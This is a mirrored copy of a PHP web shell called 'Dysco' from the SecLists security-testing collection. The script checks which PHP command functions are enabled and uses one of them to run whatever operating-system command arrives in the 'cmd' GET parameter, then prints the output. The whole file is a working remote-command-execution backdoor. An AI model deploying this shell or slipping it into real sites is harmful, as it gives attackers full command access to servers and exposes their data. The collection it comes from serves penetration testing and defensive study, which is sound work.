mirror of
https://github.com/danielmiessler/SecLists.git
synced 2025-06-08 05:57:52 +00:00
60 lines
1.3 KiB
PHP
60 lines
1.3 KiB
PHP
![]() |
<?php
|
||
|
|
||
|
/*
|
||
|
* Dysco(Dynamic PHP Shell Command for RCE)
|
||
|
* Created by Petruknisme @2020
|
||
|
* Contact: me@petruknisme.com
|
||
|
*/
|
||
|
|
||
|
|
||
|
function Dysco($command)
|
||
|
{
|
||
|
$list_function_shell = array("system", "exec", "shell_exec", "passthru", "eval");
|
||
|
$f_enabled = array_filter($list_function_shell, 'function_exists');
|
||
|
|
||
|
echo "Enabled Function:\n<br/>";
|
||
|
foreach($f_enabled as $f)
|
||
|
{
|
||
|
echo $f." ";
|
||
|
}
|
||
|
|
||
|
if($f_enabled !== ""){
|
||
|
$f = $f_enabled[0];
|
||
|
echo "<br/>\nUsing ". $f. " as shell command\n<br/>";
|
||
|
|
||
|
if($f == "system" || $f == "passthru"){
|
||
|
// disable multiple output for system
|
||
|
ob_start();
|
||
|
$output = $f($command, $status);
|
||
|
ob_clean();
|
||
|
}
|
||
|
else if($f == "exec"){
|
||
|
$f($command, $output, $status);
|
||
|
$output = implode("n", $output);
|
||
|
}
|
||
|
else if($f == "shell_exec"){
|
||
|
$output = $f($command);
|
||
|
}
|
||
|
else{
|
||
|
$output = "Command execution not possible. All supported function is disabled.";
|
||
|
$status = 1;
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
return array('output' => $output , 'status' => $status);
|
||
|
}
|
||
|
|
||
|
// for HTTP GET use this.
|
||
|
|
||
|
if(isset($_GET['cmd'])){
|
||
|
$o = Dysco($_GET['cmd']);
|
||
|
echo $o['output'];
|
||
|
}
|
||
|
|
||
|
// for debugging in local, use this
|
||
|
|
||
|
//$o = shell_spawn('uname -a');
|
||
|
//echo $o['output'];
|
||
|
?>
|